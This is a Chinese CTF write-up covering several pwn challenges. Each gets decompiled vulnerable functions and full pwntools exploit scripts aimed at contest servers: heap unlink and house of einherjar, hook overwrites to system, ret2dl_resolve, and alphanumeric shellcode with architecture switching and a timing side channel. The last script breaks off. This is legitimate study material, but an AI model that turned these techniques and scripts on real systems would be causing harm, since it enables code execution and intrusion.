这次比赛总的来说体验还是很不错,baby_diary这个题虽然没有拿到前三血,但做题速度超过腾讯eee,星盟安全,长亭科技战队等。
这次本来可以去总决赛了,但由于我们学校另一支战队后期爆发,拿了个web一血,还多了我们道逆向,超了我们很多分数。
比赛结束截图如下
比赛结束是35名,但经过举办方的严查,最终官方排名:23
漏洞点
__int64 __fastcall sub_132B(__int64 a1, int a2, char a3)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i < a2; ++i )
{
if ( (int)read(0, (void *)(i + a1), 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( a3 == *(_BYTE *)(i + a1) )
break;
}
*(_BYTE *)(i + a1) = 0; //设置最后一个至为0
return (unsigned int)i;
}
执行完编辑函数,可以修改最后一个字节的low_byte位
void __fastcall sub_1528(unsigned int idx, int n)
{
__int64 v2; // [rsp+10h] [rbp-8h]
if ( idx <= 0x18 && bufs[idx] )
{
v2 = bufs[idx];
flags[idx] = n;
if ( n )
*(_BYTE *)(n + 1LL + v2) = (*(_BYTE *)(n + 1LL + v2) & 0xF0) + sub_146E(idx); // n若为开辟内存大小的话,存在溢出, 修改低4位
}
}
然而sub_146E函数根据下面算法计算的,若大于0x0f的话,就不能构造结果为0,这有点坑。
__int64 __fastcall sub_146E(unsigned int a1)
{
int i; // [rsp+10h] [rbp-14h]
unsigned int v3; // [rsp+14h] [rbp-10h]
if ( a1 > 0x18 || !bufs[a1] )
return 0xFFFFFFFFLL;
v3 = 0;
for ( i = 0; i < flags[a1]; ++i )
v3 += *(unsigned __int8 *)(i + bufs[a1]);
while ( v3 > 0xF )
v3 = (v3 >> 4) + (v3 & 0xF);
return v3;
}
漏洞综述,最后字节用'\x00'截断,4bit位溢出。
glibc 2.31下绕过unlink,稍微有点难构造,加上本身程序逻辑,更难构造了,各种层层构造关联太强了,但最后还是找的了某些地址,成功构造利用链子,这需要控制很好的地址的值,比如实现unlink时,prev_size 要满足 0x100的倍数,不然不好设置我们unlink chunk size低3位为 0,还有构造unlink的fd->bk 指向自己本身,bk->fd指向自己本身,然而程序有点烦人的是最后一字节为'\x00'截断的,后面有4bit位溢出,这使得我们伪造chunk的fd必需要为0x100的整数倍才行。实现unlink之后就实现了堆重叠,泄漏Libc然后再修改__free_hook
为system函数,至于glibc 2.31下如何绕过unlink,它与2.29一样的,多了个 prev_size == chunk_size的检查,这就比较麻烦, 可以参考这篇博客:https://bbs.pediy.com/thread-257901-1.htm 。
下面是我重重构造,实现unlink的信息
0x5555dc297300 —▸ 0x5555dc297dd0 —▸ 0x7f8e6ac39ca0 (main_arena+96) ◂— 0x5555dc29730
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# ref: https://bbs.pediy.com/thread-257901-1.htm
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './baby_diary'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "8.140.114.72:1399"
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(sz, d):
sla('>>', '1')
sla(':', str(sz))
if(sz > 0):
sa(':', d)
def dp(idx):
sla('>>', '2')
sla(':', str(idx))
def rm(idx):
sla('>>', '3')
sla(':', str(idx))
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
for i in range(7): # 0-6
ad(0x1000, "padding\n")
#ad(0x1000-0x210 + 0x70 , "padding\n") # 7 glibc 2.29
ad(0x1000-0x210 + 0x70 -0x40, "padding\n") # 7 glibc 2.31
for i in range(7): # 8-14
ad(0x28, 't\n')
ad(0x1b20, "largebin\n") # 15
ad(0x20, "padding\n") # 16
rm(15)
ad(0x2000, '\n') # 15
ad(0x28, p64(0) + p64(0x601) + b'\n') # idx:17 get a chunk from largebin
ad(0x28, 'a\n') # 18
ad(0x28, 'b\n') # 19
ad(0x38 + 0x300, 'c\n') # 20
ad(0x28, 'd\n') # 21
ad(0x28, 'e\n') # 22 for not merge
# fill in tcache_entry[1](size: 0x30)
t = 9
for i in range(7): # 8-14
rm(8 + i)
rm(18) # t
rm(20)
rm(21)
# clear tcache_entry[1](size: 0x30)
for i in range(7): # 8-14
ad(0x28, '\n')
# fastbin to smallbin
ad(0x450, '\n') #18
# get a chunk from smallbin , another smallbin chunk to tcache
# 20, change fake chunk's fd->bk to point to fake chunk
ad(0x28, b'\x03' + b'\x00' * 7 + b'\n')
# clear chunk from tcache
ad(0x28, 'clear\n') # 21
for i in range(7): # 8-14
rm(8 + i)
# free to fastbin
rm(19)
rm(17)
for i in range(7): # 8-14
ad(0x28, '\n')
# change fake chunk's bk->fd
ad(0x28, b'\n') # 17
# Make house of einherjar
rm(18)
for i in range(6): # 8-14
rm(8 + i)
ad(0x170, '\n') # 8
ad(0x450, '\n') # 9
ad(0x60, '\n') # 10
rm(8)
ad(0x177, b'\x00' * 0x177) # 8
rm(8)
ad(0x177, (b'\x00' * 0x16f) + b'\x06' + b'\n') # 8
# unlink
rm(9)
# leak libc
ad(0x430, '\n') # 9
dp(22)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
li('libc_base: ' + hex(libc_base))
#ad(0x17, p64(free_hook) + b'\n')
for i in range(3):
ad(0x28, b'\n')
rm(20) #
rm(0) # for clean
rm(1) # for clean
ad(0x18, '/bin/sh\n')
rm(9) #
ad(0x430, b'A' * 0x400 + p64(free_hook) + p64(0) + b'\n')
ad(0x28, '\n')
ad(0x28, p64(system) + b'\n')
db()
rm(0)
# double free
#rm(0)
'''
rm(9)
ad(0x37, b'\x00' + b'\x00' * 0x30 + b'\x50' + b'\n')
'''
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
没有打印函数,通过'\x00'字节绕过字符串比较
__sighandler_t sub_8049424()
{
__sighandler_t result; // eax
char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
const char *v3; // [esp+5Ch] [ebp-Ch]
init_();
v3 = "tell me some thing";
read(0, buf, 0x30u);
v3 = "Tell me your name:\n";
read(0, src, 0x20u);
sub_80493EC(src);
strcpy(dest, src);
v3 = "now give you the flag\n";
read(unk_804C080, src, 0x10u);
result = (__sighandler_t)str_cmp(src, off_804C034);// 字符串比较
if ( !result )
result = sub_8049269();
return result;
}
再利用计算错误抛出SIGFPE信号使调用漏洞函数
__sighandler_t sub_8049269()
{
__sighandler_t result; // eax
void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
int v2[2]; // [esp+4h] [ebp-14h] BYREF
const char *v3; // [esp+Ch] [ebp-Ch]
v3 = "give me the soul:";
__isoc99_scanf("%d", v2);
v3 = "give me the egg:";
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 )
{
signal(8, (__sighandler_t)vuln); // set handler
// SIGFPE 表示一个算数运算异常
v2[1] = v2[0] / (int)v1; // 使运算异常调用漏洞函数
result = signal(8, 0);
}
return result;
}
ssize_t vuln()
{
char buf[68]; // [esp+0h] [ebp-48h] BYREF
return read(0, buf, 0x100u); // stack overflow
}
漏洞函数中就是简单的堆栈溢出了,采用dl_runtime_resolve攻击。
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
from roputils import ROP
import os
# roputils: https://github.com/inaz2/roputils/blob/master/roputils.py
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './test'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "39.105.138.97:1234"
# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
s('\x00' * 0x30)
#db()
# make calc error
s('\x00' * 0x20)
sl(str(-0xcccccccc))
#db()
sl(str(-1))
# vuln, stack overflow
rop = ROP(elf_path)
buf = elf.bss()
pop3 = 0x08049581
p = b'\x00' * 0x4C
p += p32(elf.sym['read'])
p += p32(pop3)
p += p32(0)
p += p32(buf)
p += p32(0x80)
p += rop.dl_resolve_call(buf + 0x10, buf, 0, 0) # call, args
sleep(0.5)
s(p)
# dl resolve data
p = '/bin/sh\x00'.ljust(0x10, '\x00')
p += rop.dl_resolve_data(buf + 0x10, 'execve')
p = p.ljust(0x80, '\x00')
sleep(1)
sl(p)
#sleep(0.1)
#sl(p)
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
一个伪heap题,开启了沙箱,编辑和打印功能没有,只能开辟两次堆,释放一次,没办法进行堆操作。
存在个index 负数溢出,可以实现修改got表,为堆地址。
__int64 sub_E44()
{
int idx; // [rsp+0h] [rbp-10h]
int size; // [rsp+4h] [rbp-Ch]
if ( add_nums <= 1 )
{
puts("index:");
idx = inputn();
puts("size:");
size = inputn();
if ( size >= 0 && size <= 8 && idx <= 1 ) // index overflow
{
bufs[idx] = malloc(size);
if ( !bufs[idx] )
{
puts("error");
exit(0);
}
puts("content:");
readn((_BYTE *)bufs[idx], size);
++add_nums;
}
}
return add_nums;
}
查看程序架构
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
checksec发现存在rwx段,但发现是stack上的,想了半天没想通如何跳到堆栈那里去。
试试在堆上写shellcode,然后index溢出漏洞修改atoi的got地址为shellcode堆地址,跳到堆中执行指令,然而发现远程能执行,但自己本地不行,接下来就是orw的汇编指令编写了。
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = './pwn'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# remote server ip and port
host = "39.105.131.68:12354"
#io = process(elf_path, env = {'LD_PRELOAD': libc_path})
io = remote(host.split(':')[0], int(host.split(':')[1]))
libc = ELF(libc_path)
#--------------------------func-----------------------------
def db():
gdb.attach(io)
def ad(idx, sz, d):
sla('>>', '1')
sla(':', str(idx))
sla(':', str(sz))
sa(':', d)
def dp(idx):
sla('>>', '1')
def md():
sla('>>', '1')
def rm(idx):
sla('>>', '4')
sla(':', str(idx))
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
#for i in range(2):
# wirte
code = '''
lea r15, [rip + 0xf9] /* buf */
mov rdi, r15 /*buf*/
mov rsi, 0x0
mov rdx, 0x0
mov rax, 2
syscall
/*read*/
mov rdi, 3
mov rsi, r15
mov rdx, 0x100
mov rax, 0
syscall
/*write*/
mov rdi, 1
mov rax, 1
syscall
'''
p = asm(code, arch = 'amd64')
p = p.ljust(0x100, b'\x00')
p += b'./flag\x00'
ad(-14, 0, p + b'\n')
# db()
# call
sla('>>', '4')
def finish():
ia()
c()
exploit()
finish()
沙箱检查如下
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x03 0x00 0x00000004 if (A == stat) goto 0007
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
输入的shellcode有检查
for ( i = 0; i < v6; ++i )
{
if ( v4[i] <= 31 || v4[i] == '\x7F' )
goto LABEL_10;
}
也就是机器码字符小于等于'\x31'的就退出或等于'\x7f',我们可以采用alpha3工具将机器码生成可显示字符,当然这个工具有限制,机器码不能出现'\x00',通过调试发现,shellcode的基址存放在rbx上,我们先实现一个输入的shellcode,避免后续不会再进行shellcode过滤。
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
在原来的shellcode + 0x120处实现输入,再跳到那个地方去。
采用alpha3工具生成可显示shellcode如下
Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c
当然我也写了个函数方便修改。
def gen_code():
fd = open('sc.bin', 'wb')
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
p = asm(code, arch = 'amd64')
fd.write(p)
fd.close()
cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
p = os.popen(cmd).read()
print('shellcode: ' + p)
return p
然而这个题禁用函数太多了,open和write也禁了,只能切换到32位架构来实现部分绕过了,为了方便实现堆栈,指令储存,我重新申请了个地址段,方便后续实现架构切换方便与数据写入等。
code = '''
/*mmap*/
mov r9d, 0 /* off */
mov r8d, 0xFFFFFFFF /* fd */
mov r10d, 0x22 /* flags */
mov edx, 7 /* prot */
mov esi, 0x1000 /* len */
mov edi, 0x20000 /* addr */
mov eax, 9
syscall
/*read 32 shellcode*/
xor rax, rax
mov edi, 0
mov esi, 0x20000
mov edx, 0x1000
syscall
/*retf to 32*/
mov rax, 0x2300020000
push rax
'''
p = asm(code, arch = 'amd64')
p += b'\xCB' # retf
上面是实现向我们开辟到的内存写入数据,再从64位架构切换到32为且跳到我们开辟的内存段中。
后面就是写32位的asm code了,然而我发现,在32位下,只有一个有用的函数能调用,就是open函数,其他的read,write这些都不能调用了,这又使得重新回到64位下实现读入flag。
code = '''
mov esp, 0x20a00
/*open*/
mov eax, 5
mov ebx, 0x20020
xor ecx, ecx
xor edx, edx
int 0x80
/*retf to 64*/
push 0x33
push 0x20030
'''
db()
p = asm(code, arch = 'i386')
p += b'\xCB' # retf
p = p.ljust(0x20, b'\x90')
p += b'./flag\x00'
p = p.ljust(0x30, b'\x90')
code = '''
xor rax, rax
mov edi, 3
mov rsi, rsp
mov edx, 0x100
syscall
'''
由于不能使用write的系统调用,只能采用延时爆破了
if idx == 0:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
else:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)
idx为读入的字符偏移,ch是我们猜测的字符,若想等,就进入死循环,否则就退出。
通过时间来判断是否想等。
总结:
自己踩了很多坑,shellcode必须为可显字符,后面绕过了,只能用少量的系统函数,64位架构时,只能使用read, mmap, fstat,我还以为切换架构到32位可以绕过syscall检测,想不到只允许调用open, 其他的read和write都不行,又重新切换到64位来执行read,再采用延时爆破读出来。
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './shellcode'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "39.105.137.118:50050"
# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def gen_code():
fd = open('sc.bin', 'wb')
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
p = asm(code, arch = 'amd64')
fd.write(p)
fd.close()
cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
p = os.popen(cmd).read()
print('shellcode: ' + p)
return p
#--------------------------exploit--------------------------
# ref: https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/tqpsqr
# ref: https://blog.csdn.net/SmalOSnail/article/details/105236336
# ref: http://blog.leanote.com/post/xp0int/%5BPwn%5D-Steak-cpt.shao
# ref: https://zhuanlan.zhihu.com/p/57648345
# ~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="sc.bin" > o
def exploit(idx, ch):
li('exploit...')
'''
git clone https://github.com/TaQini/alpha3.git
cd alpha3
python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
rax: shellcode base_address
'''
# python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
#p = gen_code()
p = 'Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c'
s(p)
code = '''
/*mmap*/
mov r9d, 0 /* off */
mov r8d, 0xFFFFFFFF /* fd */
mov r10d, 0x22 /* flags */
mov edx, 7 /* prot */
mov esi, 0x1000 /* len */
mov edi, 0x20000 /* addr */
mov eax, 9
syscall
/*read 32 shellcode*/
xor rax, rax
mov edi, 0
mov esi, 0x20000
mov edx, 0x1000
syscall
/*retf to 32*/
mov rax, 0x2300020000
push rax
'''
p = asm(code, arch = 'amd64')
p += b'\xCB' # retf
#p += p32(0x400000) + p32(0x23) # ret addr + 0x23:32bit sign
sleep(0.01)
s(p)
code = '''
mov esp, 0x20a00
/*open*/
mov eax, 5
mov ebx, 0x20020
xor ecx, ecx
xor edx, edx
int 0x80
/*retf to 64*/
push 0x33
push 0x20030
'''
db()
p = asm(code, arch = 'i386')
p += b'\xCB' # retf
p = p.ljust(0x20, b'\x90')
p += b'./flag\x00'
p = p.ljust(0x30, b'\x90')
code = '''
xor rax, rax
mov edi, 3
mov rsi, rsp
mov edx, 0x100
syscall
'''
if idx == 0:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
else:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)
p += asm(code, arch = 'amd64')
sleep(0.01)
s(p)
start = time.time()
try:
io.recv(timeout = 2)
except:
pass
end = time.time()
if (end - start > 1.5):
return ch
else:
return None
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
flag = ''
idx = 3
while True:
for ch in range(0x20, 127):
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
ret = exploit(idx, ch)
if(ret != None):
li('found: ' + chr(ch))
flag += chr(ch)
li('flag: ' + flag)
idx += 1
io.close()
没有free函数,通过设置大小为0即可实现释放内存功能。
找了偏移,chunk头部链表逻辑,没有发现漏洞,在编辑数据的功能中,发现了个整型溢出漏洞。
漏洞点
_QWORD *edit_body()
{
_QWORD *result; // rax
int size; // eax
int index; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
_QWORD *buf; // [rsp+18h] [rbp-8h]
index = print("index: ");
result = (_QWORD *)get_buf(index);
buf = result;
if ( result )
{
result = (_QWORD *)*result;
if ( *buf )
{
v3 = print("size: ");
printf("data: ");
size = *((_DWORD *)buf + 3) - *((_DWORD *)buf + 2);// size - offset
if ( v3 <= size )
LOWORD(size) = v3; // vul
result = (_QWORD *)readn(*buf + *((int *)buf + 2), size);
}
}
return result;
}
一个整性溢出,因为采用LOWORD(size) = v3;
进行赋值的,当我输入负数绕过判断,若LOWORD(v3)中的值为大于size本身值,即可实现溢出,那么就很好利用了。实现了任意地址写入,但有个检查
unsigned __int64 __fastcall check_error(unsigned __int64 ptr)
{
unsigned __int64 result; // rax
if ( ptr < *(_QWORD *)check_mem_buf
|| (result = *(_QWORD *)check_mem_buf + *(_QWORD *)(check_mem_buf + 8), ptr >= result) )
{
puts("error");
exit(0);
}
return result;
}
而check_mem_buf的值在初始化的时候赋予了
unsigned int init_()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
check_mem_buf = (__int64)malloc(0x10uLL);
*(_QWORD *)check_mem_buf = check_mem_buf + 16;
*(_QWORD *)(check_mem_buf + 8) = 0x21000LL; // memsize
return alarm(0x78u);
}
基本上我们只能在堆段中实现任意地址写入了,这也比较好绕过,每个编辑功能都有个head chunk,修改head中的body指针,就可以实现任意地址写入数据了。
修改__realloc_hook
为system,再调用realloc函数即可调用system。
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = 'pipeline'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# remote server ip and port
host = "59.110.173.239:2399"
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad():
sla('>>', '1')
def md(idx, of, sz):
sla('>>', '2')
sla(':', str(idx))
sla(':', str(of))
sla(':', str(sz))
def rm(idx):
sla('>>', '3')
sla(':', str(idx))
def ap(idx, sz, d):
sla('>>', '4')
sla(':', str(idx))
sla(':', str(sz))
sa(':', d)
def dp(idx):
sla('>>', '5')
sla(':', str(idx))
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak libc
ad()
md(0, 0, 0x458)
ad()
md(0, 0, 0) # free
md(0, 0, 0x458) # add
dp(0)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
li('libc_base: ' + hex(libc_base))
# leak heap
md(0, 0, 0) # free
md(0, 0, 0x18) # add
md(1, 0, 0x18) # add
#ap(0, -1, 'A')
ap(0, 0x18, b'A' * 0x10 + p64(0x1234))
md(0, 0, 0) # free
md(1, 0, 0) # free
md(0, 0, 0x18) # add
dp(0)
ru('data: ')
leak = u64(ru('\n').ljust(8, b'\x00'))
heap = leak
li('heap: ' + hex(heap))
ad()
md(1, 0x18, 0) # add 1
md(2, 0x18, 0) # add 2
ad()
md(3, 0x18, 0) # add 3
md(2, 0, 0) # free 2
md(3, 0, 0) # free 3
md(1, 0, 0) # free 1
li('target_chunk: ' + hex(heap + 0x460))
p = b'\x00' * 0x18
p += p64(0x21) + p64(heap + 0x460) + p64(0)
p += b'\n'
ap(0, -0x7ffff00, p)
md(3, 0, 0x18) # add 3
md(2, 0, 0x18) # add 2
p = p64(libc_base + libc.sym['__realloc_hook']) + p64(0x0000001800000000)
p += b'\n'
ap(2, 0x18, p)
ap(1, 0x18, p64(libc_base + libc.sym['system']) + b'\n')
ap(0, 0x18, '/bin/sh\x00\n')
md(0, 0, 0) # free , to get shell
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
这个题也是个坑,打印函数采用加密
int __fastcall enc_print(unsigned int a1)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 2; i > 0; --i )
a1 ^= (32 * a1) ^ ((a1 ^ (32 * a1)) >> 17) ^ (((32 * a1) ^ a1 ^ ((a1 ^ (32 * a1)) >> 17)) << 13);
return printf("%lx\n", a1);
}
采用z3库来解,只能解一次循环加密的,第二次循环的解不出来,只能不用该条件了。
漏洞点
unsigned __int64 __fastcall chc(_BYTE *a1)
{
unsigned __int64 ch_; // rax
while ( 1 )
{
ch_ = (unsigned __int8)*a1;
if ( !(_BYTE)ch_ )
break;
if ( *a1 == '\x11' ) // vul
{
ch_ = (unsigned __int64)a1;
*a1 = 0;
return ch_;
}
++a1;
}
return ch_;
}
在输入完数据后,会死循环读取数据,若出现'\x00'则跳出,若出现'\x11'修改该字节为'\x00'且跳出循环。这利用方式就跟off by one差不多了。
程序开了沙箱
__int64 sub_BAA()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
return seccomp_load(v1);
}
前期我以为程序是在2.31下的利用方式,我一直在glibc 为2.31的环境下调试,怎么都不好构造绕过prev_size == chunk_size这个检查,查看libc.so.6,发现为2.27的。。。
那就很方便的采用unlink构造堆重叠,由于没有办法解密上面那个泄漏的数据,只能partial write打到_IO_2_1_stdout
泄漏libc,打通几率1 / 16,
泄漏之后,然后劫持__free_hook
为setcontext + 53处的gadget实现堆栈迁移值 __free_hook - 0x108
处,这里我是放在__free_hook
高地址位置的,本地能打通,远程死活打不通,我只调用write函数能够泄漏地址信息,应该是某些部分数据被覆盖,导致我的rop链破坏了,只能将rop放在__free_hook
上面。
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './babypwn'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "39.105.130.158:8888"
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(sz):
sla('>>', '1')
sla(':', str(sz))
def rm(idx):
sla('>>', '2')
sla(':', str(idx))
def md(idx, d):
sla('>>', '3')
sla(':', str(idx))
sa(':', d)
def dp(idx):
sla('>>', '4')
sla(':', str(idx))
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad(0x108) # 0
ad(0x128) # 1
ad(0x118) # 2
ad(0x108) # 3
for i in range(7):
ad(0x100)
for i in range(4, 11):
rm(i)
for i in range(7):
ad(0xf0)
for i in range(4, 11):
rm(i)
rm(0) # set libc
md(2, 'A' * 0x118) # set last one
md(2, b'A' * 0x110 + p64(0x120 + 0x130 + 0x110))
md(3, b'A' * 0xf8 + p64(0x121)) # set fake size
rm(3) # unlink
ad(0x108) # 0
ad(0x108) # 3
ad(0x108) # 4
ad(0x108) # 5
ad(0x108) # 7
ad(0x108) # 8
ad(0x108) # 9
rm(2) # remove chunk1
ad(0xd0) # 2
ad(0x150) # 9
ad(0x130) # 10
#2760
md(10, '\x50\x97') # set to stdout
ad(0x118) # 11
ad(0x118) # 12
p = b'A' * 0x10
p += p64(0xfbad3c80) + p64(0) * 3 + p8(0)
md(12, p)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
